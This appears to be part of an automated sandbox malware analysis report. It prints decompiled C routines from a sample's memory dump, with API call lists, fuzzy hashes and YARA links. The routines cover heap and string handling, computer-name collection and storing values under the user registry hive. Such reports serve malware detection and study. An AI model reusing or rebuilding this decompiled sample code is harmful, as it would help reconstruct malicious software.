Instruction Fuzzy Hash: D651A075A00218EBDF21DF99C4846EDBBBAFF45314F15C05AE8A5DB211D770AAA1CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00813AB0, Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 00813B0D
SysAllocString.OLEAUT32(008185ED), ref: 00813B51
SysFreeString.OLEAUT32(00000000), ref: 00813B65
SysFreeString.OLEAUT32(00000000), ref: 00813B73

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 0476b4d6fa12d2fa827c0cc08cb74ee67696ba4f313114cb96149e1a1e337233
Instruction ID: f7847825cf0baf4da8dc3b444f751b731af993c988007945a4c35576b4eac721
Opcode Fuzzy Hash: 0476b4d6fa12d2fa827c0cc08cb74ee67696ba4f313114cb96149e1a1e337233
Instruction Fuzzy Hash: BA31EDB5904209EFCB05DF98D8C49EEBBBDFF48350B10842AF906DB251E7749A81CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00816545, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00816545(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E0081A71F(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x00816551
0x00816555
0x00816556
0x00816557
0x00816559
0x0081655b
0x0081655e
0x00816563
0x008165fa
0x00816601
0x00816601
0x0081656c
0x00816573
0x00816583
0x00816583
0x00816589
0x0081658b
0x00816590
0x00816599
0x0081659f
0x008165a4
0x008165af
0x008165b3
0x008165b5
0x008165b6
0x008165bf
0x008165c3
0x008165d4
0x008165c5
0x008165ca
0x008165cf
0x008165de
0x008165de
0x008165b3
0x008165e4
0x008165ea
0x008165ea
0x008165f3
0x008165f8
0x008165f8
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 00816573
lstrlenW.KERNEL32(?), ref: 008165A9
memcpy.NTDLL(00000000,?,?,?), ref: 008165CA
SysFreeString.OLEAUT32(?), ref: 008165DE

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: b6dc559d45145e351f8ea5c0736e5a64b6c9209b06144bfdcfaa1fd7c03e2609
Instruction ID: d1268e2b287cabaec42b2c3044ac1a86ccd0717acc70b60f096af263edca43a5
Opcode Fuzzy Hash: b6dc559d45145e351f8ea5c0736e5a64b6c9209b06144bfdcfaa1fd7c03e2609
Instruction Fuzzy Hash: 3F217F75901209EFCB11DFA8C884DDEBBBDFF48304B1081A9E942E7214EB30DA51CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0081486F, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0081486F(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E0081A71F(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x81c284); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x81c284);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x0081487a
0x0081487e
0x00814880
0x00814881
0x00814889
0x00814889
0x0081488d
0x00000000
0x00000000
0x00814884
0x00814885
0x00814888
0x00814888
0x00814895
0x0081489a
0x008148a0
0x008148a8
0x008148ae
0x008148b0
0x008148b5
0x008148b9
0x008148bb
0x008148be
0x008148c5
0x008148c5
0x008148cf
0x008148d2
0x008148d3
0x008148d5
0x008148e1
0x008148e1
0x008148ee

APIs

StrChrA.SHLWAPI(?,00000020,00000000,04E195AC,?,00815D25,?,0081243F,04E195AC,?,00815D25), ref: 00814889
StrTrimA.KERNELBASE(?,0081C284,00000002,?,00815D25,?,0081243F,04E195AC,?,00815D25), ref: 008148A8
StrChrA.SHLWAPI(?,00000020,?,00815D25,?,0081243F,04E195AC,?,00815D25), ref: 008148B3
StrTrimA.SHLWAPI(00000001,0081C284,?,00815D25,?,0081243F,04E195AC,?,00815D25), ref: 008148C5

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 4bc50004b6db0cc67bbd039c96d8a95f053bb7dc4fb80e8f46935fa1353f8879
Instruction ID: 0c6e8f85ec5a8aaa02fc1b48aaa907f562454964d117be94cf209a98dba2eee5
Opcode Fuzzy Hash: 4bc50004b6db0cc67bbd039c96d8a95f053bb7dc4fb80e8f46935fa1353f8879
Instruction Fuzzy Hash: F601D871605366AFD2219F698C48FA7BBDCFF45B54F111528F941D7340DB60C84196B0

Uniqueness

Uniqueness Score: -1.00%

Function 00818D14, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00818D14(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0081A2F9(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x81d2a8; // 0x45fa5a8
				_t4 = _t24 + 0x81edc0; // 0x4e19368
				_t5 = _t24 + 0x81ed68; // 0x4f0053
				_t26 = E00815356( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x81d2a8; // 0x45fa5a8
						_t11 = _t32 + 0x81edb4; // 0x4e1935c
						_t48 = _t11;
						_t12 = _t32 + 0x81ed68; // 0x4f0053
						_t52 = E008145C6(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x81d2a8; // 0x45fa5a8
							_t13 = _t35 + 0x81edfe; // 0x30314549
							_t37 = E00818E27(_t48, _t50, _t59, _v8, _t52, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x81d25c - 6;
								if( *0x81d25c <= 6) {
									_t42 =  *0x81d2a8; // 0x45fa5a8
									_t15 = _t42 + 0x81ec0a; // 0x52384549
									E00818E27(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x81d2a8; // 0x45fa5a8
							_t17 = _t38 + 0x81edf8; // 0x4e193a0
							_t18 = _t38 + 0x81edd0; // 0x680043
							_t40 = E00815D7D(_v8, 0x80000001, _t52, _t18, _t17); // executed
							_t45 = _t40;
							HeapFree( *0x81d238, 0, _t52);
						}
					}
					HeapFree( *0x81d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E00814F14(_t54);
				}
				return _t45;
			}

0x00818d14
0x00818d24
0x00818d27
0x00818d2e
0x00818d30
0x00818d30
0x00818d33
0x00818d38
0x00818d3f
0x00818d4c
0x00818d51
0x00818d55
0x00818d63
0x00818d71
0x00818d75
0x00818e06
0x00818e06
0x00818d7b
0x00818d7b
0x00818d80
0x00818d80
0x00818d87
0x00818d93
0x00818d95
0x00818d97
0x00818d99
0x00818da0
0x00818dab
0x00818db2
0x00818db4
0x00818dbb
0x00818dbd
0x00818dc4
0x00818dcf
0x00818dcf
0x00818dbb
0x00818dd4
0x00818dd9
0x00818de0
0x00818df0
0x00818dfe
0x00818e00
0x00818e00
0x00818d97
0x00818e12
0x00818e12
0x00818e14
0x00818e19
0x00818e1b
0x00818e1b
0x00818e26

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,04E19368,00000000,?,73BCF710,00000000,73BCF730), ref: 00818D63
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,04E193A0,?,00000000,30314549,00000014,004F0053,04E1935C), ref: 00818E00
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,0081523E), ref: 00818E12

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 50112ea0d0408e1f22f15cf8ce5a45e7e7cbc4559e621e1cbd0e14b724c21cfb
Instruction ID: 01bbbf5454693f696402e4b568753044f4c6fae253e8385e543a14d6c28f6ba1
Opcode Fuzzy Hash: 50112ea0d0408e1f22f15cf8ce5a45e7e7cbc4559e621e1cbd0e14b724c21cfb
Instruction Fuzzy Hash: 68318471A00218FFDB11DB98EC85EEA7BBDFF48704F140195B914D7161D770AA84DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0081A376, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0081A376(void* __ecx, void* __edx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t25;
				void* _t30;
				void* _t36;
				void* _t40;
				intOrPtr _t42;

				_t36 = __edx;
				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x81d340; // 0x4e19a88
				_push(0x800);
				_push(0);
				_push( *0x81d238);
				if( *0x81d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x81d24c =  *0x81d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E00817306(_t44, _t40); // executed
						_t18 = E00814A09(_t40, _t44); // executed
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x81d24c < 5) {
								 *0x81d24c =  *0x81d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E00816761();
						RtlFreeHeap( *0x81d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E00811F13(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				_t25 = RtlAllocateHeap(); // executed
				if(_t25 == 0) {
					goto L6;
				}
				_t24 = E00814AB6(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x0081a376
0x0081a376
0x0081a379
0x0081a37a
0x0081a384
0x0081a38b
0x0081a390
0x0081a392
0x0081a398
0x0081a3c0
0x0081a3d8
0x0081a3da
0x0081a3db
0x0081a3dd
0x0081a41b
0x0081a41b
0x0081a421
0x0081a427
0x0081a427
0x0081a3df
0x0081a3e5
0x0081a3e8
0x0081a3f7
0x0081a3f9
0x0081a400
0x0081a434
0x0081a439
0x0081a43b
0x0081a43d
0x0081a43d
0x00000000
0x0081a43b
0x0081a402
0x0081a407
0x0081a415
0x00000000
0x0081a415
0x0081a3cf
0x0081a3d4
0x0081a3d4
0x00000000
0x0081a3d4
0x0081a39a
0x0081a3a2
0x00000000
0x00000000
0x0081a3b1
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,73BCF710), ref: 0081A39A

Part of subcall function 00814AB6: GetTickCount.KERNEL32 ref: 00814ACA
Part of subcall function 00814AB6: wsprintfA.USER32 ref: 00814B1A
Part of subcall function 00814AB6: wsprintfA.USER32 ref: 00814B37
Part of subcall function 00814AB6: wsprintfA.USER32 ref: 00814B63
Part of subcall function 00814AB6: HeapFree.KERNEL32(00000000,?), ref: 00814B75
Part of subcall function 00814AB6: wsprintfA.USER32 ref: 00814B96
Part of subcall function 00814AB6: HeapFree.KERNEL32(00000000,?), ref: 00814BA6
Part of subcall function 00814AB6: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00814BD4
Part of subcall function 00814AB6: GetTickCount.KERNEL32 ref: 00814BE5

RtlAllocateHeap.NTDLL(00000000,00000800,73BCF710), ref: 0081A3B8
RtlFreeHeap.NTDLL(00000000,00000002,00815289,?,00815289,00000002,?,?,00815D5E,?), ref: 0081A415

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 86d2a0b6ac4aa57b4aea28d6a7cff33652e334621c80fca79c0897dde2549f81
Instruction ID: 0f9a339185dc99976d15118914afcd4c42c15fbea11917967b943d5d22c64dd1
Opcode Fuzzy Hash: 86d2a0b6ac4aa57b4aea28d6a7cff33652e334621c80fca79c0897dde2549f81
Instruction Fuzzy Hash: 57214F71201218EBCB159F98EC84FDA37ACFF48344F108026F915D7251DBB0E9859BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00811526, Relevance: 3.8, APIs: 3, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00811526(void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* _t24;
				intOrPtr _t27;
				void* _t35;
				signed char* _t46;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x90;
				_v12 = 0x90;
				_t24 = E0081A71F(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x81d2d8, 0x90);
					_t27 =  *0x81d2dc; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						_t51 = _a4;
						E00811709(0x90, _a4, _t27, 0);
					}
					if(E008114F3( &_v36) != 0) {
						_t35 = E008137B8(0x90, _a4,  &_v20,  &_v12,  &_v36, 0); // executed
						if(_t35 == 0) {
							_t55 = _v20;
							_v36 =  *_t46;
							_v16 = E00814776(_t55, _a8, _t51, _t46, _a12);
							 *(_t55 + 4) = _v36;
							_t20 =  &(_t46[4]); // 0x8b4875c6
							memset(_t55, 0, _v12 - ( *_t20 & 0xf));
							_t57 = _t57 + 0xc;
							E0081A734(_t55);
						}
					}
					memset(_a4, 0, _t53);
					E0081A734(_a4);
				}
				return _v16;
			}

0x0081152c
0x00811531
0x0081153e
0x00811541
0x00811544
0x00811549
0x0081154e
0x0081155c
0x00811561
0x00811566
0x0081156b
0x0081156d
0x00811575
0x00811575
0x00811584
0x00811599
0x008115a0
0x008115a7
0x008115ad
0x008115bb
0x008115c1
0x008115c4
0x008115d1
0x008115d6
0x008115da
0x008115da
0x008115a0
0x008115e5
0x008115f0
0x008115f0
0x008115fc

APIs

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

memcpy.NTDLL(00000000,00000090,00000002,00000002,00815289,00000008,00815289,00815289,?,0081A3FE,00815289), ref: 0081155C
memset.NTDLL ref: 008115D1
memset.NTDLL ref: 008115E5

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: 4a1311d0c4e6e01a3bb81eb20789bb499e47dc8e7fab47a858b63e134a2784fc
Instruction ID: e7c06cf6bd62dbcdd7c6dff9f057ae9d0a971b0859ee5c95fbc9db60b12a98b4
Opcode Fuzzy Hash: 4a1311d0c4e6e01a3bb81eb20789bb499e47dc8e7fab47a858b63e134a2784fc
Instruction Fuzzy Hash: 75213D76A00218BBDF01AB69CC45BDE7BBDFF48750F048015F904E6292E774DA81CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0081219B, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0081219B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E00813AB0(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x81d2a8; // 0x45fa5a8
						_t20 = _t68 + 0x81e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E008157B4(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x008121a1
0x008121a4
0x008121b4
0x008121bd
0x008121c1
0x0081228f
0x00812295
0x00812295
0x008121db
0x008121e0
0x008121e4
0x008121ea
0x008121ef
0x008121f6
0x00812205
0x00812205
0x00812209
0x0081220b
0x00812217
0x00812222
0x0081222d
0x00812231
0x0081223b
0x0081223f
0x00812241
0x00812246
0x0081224d
0x0081225d
0x0081225d
0x00812246
0x0081223f
0x0081225f
0x00812264
0x00812269
0x00812269
0x0081226c
0x00812275
0x0081227a
0x0081227a
0x0081227f
0x00812284
0x00812284
0x0081227f
0x00812209
0x00812286
0x0081228c
0x00000000

APIs

Part of subcall function 00813AB0: SysAllocString.OLEAUT32(80000002), ref: 00813B0D
Part of subcall function 00813AB0: SysFreeString.OLEAUT32(00000000), ref: 00813B73

SysFreeString.OLEAUT32(?), ref: 0081227A
SysFreeString.OLEAUT32(008185ED), ref: 00812284

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 0ba33669d12272321208f92c22a28dd6bd191a066e160fb54c5e2e6e18877b87
Instruction ID: 3d4976bb47b6cd68faeae56a2ad1d44c49cf2f0e95c1f3a7b7578bdd16b03cff
Opcode Fuzzy Hash: 0ba33669d12272321208f92c22a28dd6bd191a066e160fb54c5e2e6e18877b87
Instruction Fuzzy Hash: 0C311771500159AF8B21DF98C888CEEBB7AFFC97407148658F815DB210D6319D91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00818E27, Relevance: 3.0, APIs: 2, Instructions: 50
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00818E27(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				signed int _t11;
				void* _t16;
				short _t19;
				void* _t22;
				void* _t24;
				void* _t25;
				short* _t26;

				_t24 = __edx;
				_t25 = E00819070(_t11, _a12);
				if(_t25 == 0) {
					_t22 = 8;
				} else {
					_t26 = _t25 + _a16 * 2;
					 *_t26 = 0; // executed
					_t16 = E008172C0(__ecx, _a4, _a8, _t25); // executed
					_t22 = _t16;
					if(_t22 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_t19 = 0x5f;
						 *_t26 = _t19;
						_t22 = E008122F1(_t24, _a4, 0x80000001, _a8, _t25,  &_v12, 8);
					}
					HeapFree( *0x81d238, 0, _t25);
				}
				return _t22;
			}

0x00818e27
0x00818e38
0x00818e3c
0x00818e97
0x00818e3e
0x00818e45
0x00818e4d
0x00818e50
0x00818e55
0x00818e59
0x00818e5f
0x00818e67
0x00818e6a
0x00818e82
0x00818e82
0x00818e8d
0x00818e8d
0x00818e9e

APIs

Part of subcall function 00819070: lstrlen.KERNEL32(?,00000000,04E19A98,00000000,00818808,04E19C76,?,?,?,?,?,63699BC3,00000005,0081D00C), ref: 00819077
Part of subcall function 00819070: mbstowcs.NTDLL ref: 008190A0
Part of subcall function 00819070: memset.NTDLL ref: 008190B2

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,00000000,73B75520,00000008,00000014,004F0053,04E1935C), ref: 00818E5F
HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,00000000,73B75520,00000008,00000014,004F0053,04E1935C), ref: 00818E8D

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: 19f1e8bd12f30b2e7256fd49c987c7300f62924e29f3e5c2ac498ff5a483376b
Instruction ID: 6d05b8c53bff57d88799a46efae9cd352e337eceecb7ec40c21bca6d05fd123f
Opcode Fuzzy Hash: 19f1e8bd12f30b2e7256fd49c987c7300f62924e29f3e5c2ac498ff5a483376b
Instruction Fuzzy Hash: DF01B832200209BADB216FA89C45EDB7BBDFF88714F10402AFA00DA060DAB1D8A48750

Uniqueness

Uniqueness Score: -1.00%

Function 00816207, Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(0081A513), ref: 00816220

Part of subcall function 0081219B: SysFreeString.OLEAUT32(?), ref: 0081227A

SysFreeString.OLEAUT32(00000000), ref: 00816261

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: fbb0481bc25f2700f78c757b699ae8dee2a523813e8604d36ca18ac9db8f1916
Instruction ID: 31a09f783a2096bc073b64f78c0192bf6e55f9aca5f17ec462df938ff0304157
Opcode Fuzzy Hash: fbb0481bc25f2700f78c757b699ae8dee2a523813e8604d36ca18ac9db8f1916
Instruction Fuzzy Hash: 94014F7560020ABFCB01DFA9D804DEB7BBDFF48710B004021F908E7120E63099658BA1

Uniqueness

Uniqueness Score: -1.00%

Function 008158DB, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E008158DB(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E0081A71F(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E0081A734(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x008158e0
0x008158eb
0x008158ed
0x008158f3
0x008158f5
0x008158fa
0x00815903
0x00815907
0x00815910
0x00815914
0x00815923
0x00815916
0x00815917
0x0081591c
0x0081591c
0x00815914
0x00815907
0x0081592c

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,00811FA0,73BCF710,00000000,?,?,00811FA0), ref: 008158F3

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

GetComputerNameExA.KERNELBASE(00000003,00000000,00811FA0,00811FA1,?,?,00811FA0), ref: 00815910

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

